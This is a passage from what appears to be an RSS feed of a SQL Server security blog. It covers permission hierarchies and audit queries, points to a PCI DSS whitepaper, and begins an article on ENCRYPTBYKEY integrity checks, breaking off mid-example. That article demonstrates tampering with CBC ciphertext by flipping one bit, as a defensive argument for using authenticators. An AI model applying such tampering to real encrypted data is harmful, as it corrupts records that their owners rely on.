&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Because both the parent/child hierarchy and the covering hierarchy can act on the same permission, the permission system can get complicated. For example, let's take a table (&lt;b&gt;Region&lt;/b&gt;), in a schema (&lt;b&gt;Customers&lt;/b&gt;), in a database (&lt;b&gt;SalesDB&lt;/b&gt;).&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li style="color: black;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;CONTROL&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt; permission on table Region includes all the other permissions on the table &lt;b&gt;Region&lt;/b&gt;, including &lt;b&gt;ALTER&lt;/b&gt;, &lt;b&gt;SELECT&lt;/b&gt;, &lt;b&gt;INSERT&lt;/b&gt;, &lt;b&gt;UPDATE&lt;/b&gt;, &lt;b&gt;DELETE&lt;/b&gt;, and some other permissions.&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;SELECT&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt; on the &lt;b&gt;Customers&lt;/b&gt; schema that owns the &lt;b&gt;Region&lt;/b&gt; table includes the &lt;b&gt;SELECT&lt;/b&gt; permission on the Region table.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;So &lt;b&gt;SELECT&lt;/b&gt; permission on the &lt;b&gt;Region&lt;/b&gt; table can be achieved through any of these three statements:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li style="color: black;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;GRANT SELECT ON OBJECT::Region TO Ted&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;GRANT CONTROL ON OBJECT::Region TO Ted&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;GRANT SELECT ON SCHEMA::Customers TO Ted&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;GRANT CONTROL ON SCHEMA::Customers TO Ted&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;GRANT SELECT ON DATABASE::SalesDB TO Ted&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;GRANT CONTROL ON DATABASE::SalesDB TO Ted&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 13.5pt 0in 6pt;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: #003399; font-size: 10.5pt;"&gt;Grant the Least Permissions&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;The first permission listed above (&lt;b&gt;GRANT SELECT ON OBJECT::Region TO Ted&lt;/b&gt;) is the most granular, that is, that statement is the least permission possible that grants the &lt;b&gt;SELECT&lt;/b&gt;. No permissions to subordinate objects come with it. Always grant the least permission possible, but grant at higher levels in order to simplify the granting system. So if Ted needs permissions to the entire schema, grant &lt;b&gt;SELECT&lt;/b&gt; once at the schema level, instead of granting &lt;b&gt;SELECT&lt;/b&gt; at the table of view level many times. The design of the database has a great deal of impact on how successful this strategy can be. This strategy will work best when your database is designed so that objects needing identical permissions are included in a single schema.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 13.5pt 0in 6pt;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: #003399; font-size: 10.5pt;"&gt;List of Permissions&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;" sizcache="0" sizset="44"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;" sizcache="0" sizset="44"&gt;SQL Server 2008 R2 has 195 permissions. SQL Server Code-named 'Denali' has 214 permissions. The following graphic shows the permissions and their relationships to each other. Some of the higher level permissions (such as &lt;b&gt;CONTROL SERVER&lt;/b&gt;) are listed many times.&lt;br /&gt;&lt;a href="http://social.technet.microsoft.com/wiki/cfs-file.ashx/__key/communityserver-wikis-components-files/00-00-00-00-05/5710.Permissions_5F00_Poster_5F00_2008_5F00_R2_5F00_Wiki.pdf"&gt;5710.Permissions_Poster_2008_R2_Wiki.pdf&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 13.5pt 0in 6pt;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: #003399; font-size: 10.5pt;"&gt;Permissions vs. Fixed Server and Fixed Database Roles&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;The permissions of the fixed server roles and fixed database roles are similar but not exactly the same as the granular permissions. For example, members of the &lt;b&gt;sysadmin&lt;/b&gt; fixed server role have all permissions on the instance of SQL Server, as do logins with the &lt;b&gt;CONTROL SERVER&lt;/b&gt; permission. But granting the &lt;b&gt;CONTROL SERVER&lt;/b&gt; permission does not make a login a member of the &lt;b&gt;sysadmin&lt;/b&gt; fixed server role, and making adding a login to the &lt;b&gt;sysadmin&lt;/b&gt; fixed server role does not explicitly grant the login the &lt;b&gt;CONTROL SERVER&lt;/b&gt; permission. Sometimes a stored procedure will check permissions by checking the fixed role and not checking the granular permission. For example detaching a database requires membership in the &lt;b&gt;db_owner&lt;/b&gt; fixed database role. The equivalent &lt;b&gt;CONTROL DATABASE&lt;/b&gt; permission is not enough. These two systems operate in parallel but rarely interact with each other. Microsoft recommends using the newer, granular permission system instead of the fixed roles whenever possible.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 13.5pt 0in 6pt;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: #003399; font-size: 10.5pt;"&gt;Monitoring permissions&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;The following views return security information.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul sizcache="0" sizset="45"&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;The logins and user-defined server roles (available in SQL Server Code-named 'Denali') on a server can be examined by using the sys.server_principals view.&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;The users and user-defined roles in a database can be examined by using the sys.database_principals view.&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;The permissions granted to logins and user-defined fixed server roles can be examined by using the sys.server_permissions view.&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;The permissions granted to user and user-defined fixed database roles can be examined by using the sys.database_permissions view.&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Database role membership can be examined by using the sys. sys.database_role_members &lt;/span&gt;&lt;span style="font-family: calibri;"&gt;view.&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Server role membership can be examined by using the sys. sys.server_role_members &lt;/span&gt;&lt;span style="font-family: calibri;"&gt;view.&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;" sizcache="0" sizset="45"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;" sizcache="0" sizset="45"&gt;For additional security related views, see &lt;a href="http://msdn.microsoft.com/en-us/library/ms178542.aspx" target="_blank"&gt;&lt;span style="color: #0000ff;"&gt;Security Catalog Views (Transact-SQL)&lt;/span&gt; &lt;img border="0" src="http://social.technet.microsoft.com/wiki/cfs-file.ashx/__key/communityserver-components-sitefiles/10_5F00_external.png" /&gt; &lt;/a&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;The following statements return useful information about permissions.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;To return the explicit permissions granted or denied in a database, execute the following statement in the database.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: courier new; color: black; font-size: 10pt;"&gt;SELECT &lt;br /&gt;perms.state_desc AS State, &lt;br /&gt;permission_name AS [Permission], &lt;br /&gt;obj.name AS [on Object], &lt;br /&gt;dPrinc.name AS [to User Name], &lt;br /&gt;sPrinc.name AS [who is Login Name]&lt;br /&gt;FROM sys.database_permissions AS perms&lt;br /&gt;JOIN sys.database_principals AS dPrinc&lt;br /&gt;ON perms.grantee_principal_id = dPrinc.principal_id&lt;br /&gt;JOIN sys.objects AS obj&lt;br /&gt;ON perms.major_id = obj.object_id&lt;br /&gt;LEFT OUTER JOIN sys.server_principals AS sPrinc&lt;br /&gt;ON dPrinc.sid = sPrinc.sid&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;To return the members of the server roles, execute the following statement.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: courier new; color: black; font-size: 10pt;"&gt;SELECT sRole.name AS [Server Role Name] , sPrinc.name AS [Members]&lt;br /&gt;FROM sys.server_role_members AS sRo&lt;br /&gt;JOIN sys.server_principals AS sPrinc&lt;br /&gt;ON sRo.member_principal_id = sPrinc.principal_id&lt;br /&gt;JOIN sys.server_principals AS sRole&lt;br /&gt;ON sRo.role_principal_id = sRole.principal_id;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;To return the members of the database roles, execute the following statement in the database.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: courier new; color: black; font-size: 10pt;"&gt;SELECT dRole.name AS [Database Role Name], dPrinc.name AS [Members]&lt;br /&gt;FROM sys.database_role_members AS dRo&lt;br /&gt;JOIN sys.database_principals AS dPrinc&lt;br /&gt;ON dRo.member_principal_id = dPrinc.principal_id&lt;br /&gt;JOIN sys.database_principals AS dRole&lt;br /&gt;ON dRo.role_principal_id = dRole.principal_id;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10200604" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/Permission+Model/">Permission Model</category><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/Permission+Hierarchy/">Permission Hierarchy</category><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/Permissions/">Permissions</category></item><item><title>SQL Server 2008 PCI DSS v.2.0 Whitepaper</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2011/07/15/sql-server-2008-pci-dss-v-2-0-whitepaper.aspx</link><pubDate>Fri, 15 Jul 2011 17:16:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10186990</guid><dc:creator>Il-Sung</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10186990</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2011/07/15/sql-server-2008-pci-dss-v-2-0-whitepaper.aspx#comments</comments><description>&lt;p&gt;If PCI compliance with SQL Server is a concern for you, then you'll probably want to check out the &lt;a title="Deploying SQL Server 2008 R2 Based on Payment Card Industry Data Security Standards (PCI DSS) Version 2.0" href="http://parentebeard.com/wp-content/uploads/2011/09/Payment-Card-Industry-Whitepaper.pdf" target="_blank"&gt;Deploying SQL Server 2008 R2 Based on Payment Card Industry Data Security Standards (PCI DSS) Version 2.0&lt;/a&gt; white paper published by Parente Beard LLC. The paper is written by certified PCI auditors (QSAs) and is similar to the PCI v1.2 white paper that they previously published but updated for PCI DSS 2.0.&amp;nbsp; It should be an invaluable resource as you prepare for your certification.&lt;/p&gt;
&lt;p&gt;Il-Sung&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10186990" width="1" height="1"&gt;</description></item><item><title>Integrity checks with EncryptByKey</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2011/04/05/integrity-checks-with-encryptbykey.aspx</link><pubDate>Tue, 05 Apr 2011 23:54:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10150258</guid><dc:creator>Raul Garcia - MS</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10150258</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2011/04/05/integrity-checks-with-encryptbykey.aspx#comments</comments><description>&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; This article is a follow up to &lt;/span&gt;&lt;a href="http://blogs.msdn.com/b/sqlsecurity/archive/2011/02/21/prevent-tampering-of-encrypting-data-using-add-authenticator-argument-of-encryptbykey.aspx"&gt;&lt;span style="font-family: Calibri; color: #0000ff; font-size: small;"&gt;&amp;ldquo;Prevent Tampering of Encrypted Data Using @add_authenticator Argument for ENCRYPTBYKEY&amp;rdquo;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;. In the last article we described a scenario where the security risk of copying encrypted data from one row to another could be blocked, but there are other scenarios that can benefit from using the @add_authenticator and @authenticator arguments of ENCRYPTBYKEY.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&amp;nbsp;&amp;nbsp; Generally speaking, it is highly recommended to make use of the @add_authenticator&amp;nbsp; argument to add some form of integrity check, even if the value for the @authenticator parameter is a constant for the whole table. In order to understand the motivation for this recommendation, it is necessary to explain some basic concepts of block ciphers (The information I present in this article is a high-level abstraction of this subject).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In cryptography there are several modes of operation to work with multiple blocks of data. One of the most common modes of operation is cipher-block chaining (CBC) mode, which has specific error propagation characteristics. In a nutshell, one error in a given block will affect only a deterministic number of blocks. The error-correction characteristics of this chaining mode may allow an adversary to tamper with the message. A common mitigation against such data tampering is to use an integrity check mechanism.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&amp;nbsp; The SQL Server ENCRYPTBYKEY built-in function uses CBC mode and therefore it is subject to this error-propagation mechanism and data tampering threat. Without using any integrity checks (i.e. if the default @add_authenticator is not set), an adversary may be able to manipulate the ciphertext in such a way that the blob can control some of the bits of the plaintext. &amp;nbsp;When the @add_authenticator&amp;nbsp; parameter is set, the @authenticator argument is used along with the @plaintext parameter to calculate a hash value that is encrypted and acts as the integrity check.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&amp;nbsp;&amp;nbsp; Below is an example describing how a crafty adversary may tamper with data. For the following sample, we assume that the attacker has no direct access to the key (i.e. access to the key may be controlled via a stored procedure), but the attacker has direct write privileges (i.e. a way to insert the tampered ciphertext), and that other than verifying for null values, the application may not have any additional checks on decrypted data.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;CREATE TABLE t( data varbinary(200))&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;INSERT INTO t VALUES &lt;span style="COLOR: gray"&gt;(&lt;/span&gt;ENCRYPTBYKEY(key_guid&lt;span style="COLOR: gray"&gt;(&lt;/span&gt;&lt;span style="COLOR: red"&gt;'key1'&lt;/span&gt;&lt;span style="COLOR: gray"&gt;),&lt;/span&gt; &lt;span style="COLOR: red"&gt;N'Testingtesting1234'&lt;/span&gt;&lt;span style="COLOR: gray"&gt;));&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;SELECT * FROM t;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;go&lt;span style="COLOR: green"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- 0x008CB602DBC9D145B899AC05FC14E2A30100000093384ECE68D1618EB5&lt;b&gt;&lt;span style="BACKGROUND: yellow; mso-highlight: yellow"&gt;E&lt;/span&gt;&lt;/b&gt;197&amp;hellip;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- Application &amp;ldquo;myApp&amp;rdquo; decryps data and returns the plaintext&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- &amp;ldquo;Testingtesting1234&amp;rdquo;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;SELECT CONVERT( nvarchar(100), DECRYPTBYKEY&lt;span style="COLOR: gray"&gt;(&lt;/span&gt;data&lt;span style="COLOR: gray"&gt;))&lt;/span&gt; FROM t&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&amp;nbsp; Now, imagine that the attacker may be able to inject the following ciphertext (notice that the attacker modified a single bit of the original ciphertext):&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;INSERT INTO t VALUES &lt;span style="COLOR: gray"&gt;(&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;&lt;span style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;0x008CB602DBC9D145B899AC05FC14E2A30100000093384ECE68D1618EB5&lt;b&gt;&lt;span style="BACKGROUND: yellow; mso-highlight: yellow"&gt;F&lt;/span&gt;&lt;/b&gt;197&amp;hellip;&lt;span style="COLOR: gray"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;SELECT * FROM t;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;Results:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;Testingtesting1234&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; BACKGROUND: yellow; COLOR: gray; FONT-SIZE: 10pt; mso-highlight: yellow"&gt;ၔ&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;estingtesting1234&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&amp;nbsp;&amp;nbsp; Now let&amp;rsquo;s see what happens when using the @authenticator parameter. In this particular case I am using an arbitrary string to demonstrate the integrity check. The value for the @authenticator argument in this case is not important, as long as it is the same value for encryption and decryption calls.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;INSERT INTO t VALUES &lt;span style="COLOR: gray"&gt;(&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
